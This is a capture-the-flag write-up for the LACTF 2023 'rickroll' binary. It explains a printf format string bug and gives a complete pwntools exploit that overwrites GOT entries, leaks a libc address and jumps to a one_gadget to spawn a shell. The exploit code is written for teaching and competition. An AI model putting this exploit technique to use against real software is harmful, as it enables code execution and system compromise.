Note

Third pwn challenge from the LACTF 2023. It confirmed that I definitely hate format string vulnerabilities.

Description

Make your own custom rickroll with my new rickroll program!

Dockerfile, rickroll, rickroll.c

File information

checksec rickroll && file rickroll

[*] '/home/conflict/ctfs/lactf2023/rickroll/rickroll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
rickroll: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a86d346d66fd7261ce17804cc837d0c5f1a2cfa8, for GNU/Linux 3.2.0, not stripped

So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX enabled, but it’s not a problem for us since we’re not going to use a shellcode. Also, it is only Partial RELRO so we will be able to overwrite GOT entries

We’re given a dockerfile, so we can pull the libc and the dynamic linker from the container to match the remote env

root@023e43a6f3af:/chal# ldd rickroll
	linux-vdso.so.1 (0x00007fff54d5e000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4182295000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f418246e000)
root@023e43a6f3af:/chal# ls -la /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Oct 14 19:35 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.31.so
root@023e43a6f3af:/chal# cp /lib/x86_64-linux-gnu/libc-2.31.so ./
root@023e43a6f3af:/chal# ls
Dockerfile  bruteforce.py  flag.txt  libc-2.31.so  rickroll  rickroll.c  solve.py

For the source code, there is no need to decompile the file or to struggle with some pseudo-code because we have the .c file.

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

Exploitation

We can see by looking at the code that there is a call to fgets() that reads 256 bytes and stores them in the buf variable that is 256 bytes long, so no buffer overflow here…

But we can see this very dangerous line:

printf(buf);

This shows that the program is vulnerable to format string exploit. So we will be able to leak addresses from the stack and eventually modify some entries.

If we start thinking about our exploit here, we quickly see we’re going to be stuck… There is no win function so we have to make our way to a shell, but to do that we would need to have a leak of the libc… That’s not a problem since we know there is a format string vulnerability, but the main function doesn’t loop so we only have one input to leak libc and overwrite a libc entry… this is impossible

I struggled a lot on this step, I couldn’t figure out how to loop main somehow… And I ended up seeing something interesting

By taking a look at the main function in the executable (and not the .c file) by disassembling it, we see that the last printf was replaced by a puts (probably by the compiler)

pwndbg> disass main 
Dump of assembler code for function main:
   0x0000000000401152 <+0>:	push   rbp
   0x0000000000401153 <+1>:	mov    rbp,rsp
   0x0000000000401156 <+4>:	sub    rsp,0x100
   0x000000000040115d <+11>:	mov    eax,DWORD PTR [rip+0x2f09]        # 0x40406c <main_called>
   0x0000000000401163 <+17>:	test   eax,eax
   0x0000000000401165 <+19>:	je     0x40117d <main+43>
   0x0000000000401167 <+21>:	lea    rdi,[rip+0xe9a]        # 0x402008
   0x000000000040116e <+28>:	call   0x401030 <puts@plt>
   0x0000000000401173 <+33>:	mov    eax,0x1
   0x0000000000401178 <+38>:	jmp    0x4011fd <main+171>
   0x000000000040117d <+43>:	mov    DWORD PTR [rip+0x2ee5],0x1        # 0x40406c <main_called>
   0x0000000000401187 <+53>:	mov    rax,QWORD PTR [rip+0x2ec2]        # 0x404050 <stdout@GLIBC_2.2.5>
   0x000000000040118e <+60>:	mov    esi,0x0
   0x0000000000401193 <+65>:	mov    rdi,rax
   0x0000000000401196 <+68>:	call   0x401040 <setbuf@plt>
   0x000000000040119b <+73>:	lea    rdi,[rip+0xe6f]        # 0x402011
   0x00000000004011a2 <+80>:	mov    eax,0x0
   0x00000000004011a7 <+85>:	call   0x401050 <printf@plt>
   0x00000000004011ac <+90>:	mov    rdx,QWORD PTR [rip+0x2ead]        # 0x404060 <stdin@GLIBC_2.2.5>
   0x00000000004011b3 <+97>:	lea    rax,[rbp-0x100]
   0x00000000004011ba <+104>:	mov    esi,0x100
   0x00000000004011bf <+109>:	mov    rdi,rax
   0x00000000004011c2 <+112>:	call   0x401060 <fgets@plt>
   0x00000000004011c7 <+117>:	lea    rdi,[rip+0xe52]        # 0x402020
   0x00000000004011ce <+124>:	mov    eax,0x0
   0x00000000004011d3 <+129>:	call   0x401050 <printf@plt>
   0x00000000004011d8 <+134>:	lea    rax,[rbp-0x100]
   0x00000000004011df <+141>:	mov    rdi,rax
   0x00000000004011e2 <+144>:	mov    eax,0x0
   0x00000000004011e7 <+149>:	call   0x401050 <printf@plt>
   0x00000000004011ec <+154>:	lea    rdi,[rip+0xe7d]        # 0x402070
   0x00000000004011f3 <+161>:	call   0x401030 <puts@plt>
   0x00000000004011f8 <+166>:	mov    eax,0x0
   0x00000000004011fd <+171>:	leave  
   0x00000000004011fe <+172>:	ret    
End of assembler dump.

So here is what we’re going to do:

  • First, we will overwrite puts’s GOT entry by any address from the main function thanks to our format string vuln, so that when the code reaches the puts at the bottom of main, it goes back up
  • Then, we will leak libc and calculate its base
  • We will then overwrite printf’s GOT entry by a one gadget (hoping the restrictions can be matched)

For the first part, we need to figure out where our input “lives”, to do so, we enter a bunch of A’s, and see where they end up:

./rickroll

Lyrics: AAAAAAAA - %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 

<...>

Never gonna run around and AAAAAAAA - 0x7fff55ecfa20.(nil).0x7f5d62d80a37.0x4d.0x1a4a2a0.0x4141414141414141.0x70252e7025202d20.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0xa70252e70.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil)

<...>

We see that the 6th leak is 0x41414141..., 0x41 is a capital A, so this is where our input lives.

Knowing that, we can start making our exploit:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rickroll")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("lac.tf", 31135)

    return r


def main():
    r = conn()

    main = p64(0x0040117d)
    
    # We replace puts by main+43 so that when puts is called it returns to main
    writes = {
        exe.got['puts']:main
    }

    # We use the format string payload from pwntools, telling him where our input lives
    payload = fmtstr_payload(6,writes)

    r.sendlineafter(b"Lyrics:", payload)

    # Now, we are back to the top of the main function

    r.recv()

    #r.interactive()


if __name__ == "__main__":
    main()

After checking that it works, we can now think about step 2: leaking libc

To do so, we can make a quick script to generate a payload that will print more addresses and check what they are with pwndbg

#!/usr/bin/env python3

payload = ""

for i in range(25,50):
    payload += str(i) + " = %"+str(i)+"$p "

print(payload)

Entering our payload in the input, we get this:

25 = 0x25203d2039332070 26 = 0x2030342070243933 27 = 0x207024303425203d 28 = 0x313425203d203134 29 = 0x203d203234207024 30 = 0x3334207024323425 31 = 0x7024333425203d20 32 = 0x3425203d20343420 33 = 0x3d20353420702434 34 = 0x3420702435342520 35 = 0x24363425203d2036 36 = 0x25203d2037342070 37 = 0x38342070243734 38 = 0x1 39 = 0x7ffff7da3d90 40 = (nil) 41 = 0x401152 42 = 0x100000000 43 = 0x7fffffffe028 44 = (nil) 45 = 0x6c3d408a4458d46 46 = 0x7fffffffe028 47 = 0x401152

After inspecting the interesting addresses (the ones that start with 0x7f....), we know that the 39th address corresponds to <__libc_start_call_main+128>

pwndbg> x/x 0x7ffff7da3d90
0x7ffff7da3d90 <__libc_start_call_main+128>:	0x89

After realising that the remote address at position 39 looks something like 0x40xxxx, I poked around and tried to find where the libc address was. This usually happens because the stack layout is not the same locally and remotely and sometimes the position is a bit different

We can complete our exploit with the leak:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rickroll")
libc = ELF("./libc-2.31.so")


context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("lac.tf", 31135)

    return r


def main():
    r = conn()

    main = 0x0040117d
    
    # We replace puts by main+43 so that when puts is called it returns to main
    writes = {
        exe.got['puts']:main
    }

    # We use the format string payload from pwntools, telling him where our input lives
    payload = fmtstr_payload(6,writes)

    r.sendlineafter(b"Lyrics:", payload)

    # Now, we are back to the top of the main function

    payload = b".%40$p"

    r.recv()

    # Leak the 40th element on the stack (<__libc_start_call_main+128>)
    r.sendlineafter(b"Lyrics", payload)

    r.recv()

    # Make it an integer
    leak = int(r.recv().split(b".")[1].split(b"\n")[0].decode('utf-8'), 16)

    print("Leak =", hex(leak))

    # Calculate libc address by doing leak - (leak - base)

    libc.address = leak - (0x7f1c6ed22d0a - 0x7f1c6ecff000)

    print("libc address = ", hex(libc.address))

Now that we have the base of libc, we can overwrite printf with a one gadget that will give us a shell… let’s look for a one gadget:

one_gadget libc-2.31.so

0xc961a execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc961d execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xc9620 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Let’s try them one by one until we find one that works

I had to re-do the AAAA %p %p %p trick because the input had moved from 6th to 8th position

After testing them one by one, I figured the last one works.

Final Payload

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rickroll")
libc = ELF("./libc-2.31.so")


context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("lac.tf", 31135)

    return r


def main():
    r = conn()

    main = 0x0040117d
    
    # We replace puts by main+43 so that when puts is called it returns to main
    writes = {
        exe.got['puts']:main
    }

    # We use the format string payload from pwntools, telling him where our input lives
    payload = fmtstr_payload(6,writes)

    r.sendlineafter(b"Lyrics:", payload)

    # Now, we are back to the top of the main function

    payload = b".%40$p"

    r.recv()

    # Leak the 40th element on the stack (<__libc_start_call_main+128>)
    r.sendlineafter(b"Lyrics", payload)

    r.recv()

    # Make it an integer
    leak = int(r.recv().split(b".")[1].split(b"\n")[0].decode('utf-8'), 16)

    print("Leak =", hex(leak))

    # Calculate libc address by doing leak - (leak - base)

    libc.address = leak - (0x7f1c6ed22d0a - 0x7f1c6ecff000)

    print("libc address = ", hex(libc.address))

    # Dont forget to add the base of libc 
    one_gadget = 0xc9620 + libc.address

    writes = {
        exe.got['printf']:one_gadget
    }

    payload = fmtstr_payload(8, writes)

    r.sendline(payload)

    r.interactive()

if __name__ == "__main__":
    main()

We can make sure that it works:

2023-02-23-183836_1888x1030_scrot

And it does, gg!

flag -> lactf{printf_gave_me_up_and_let_me_down}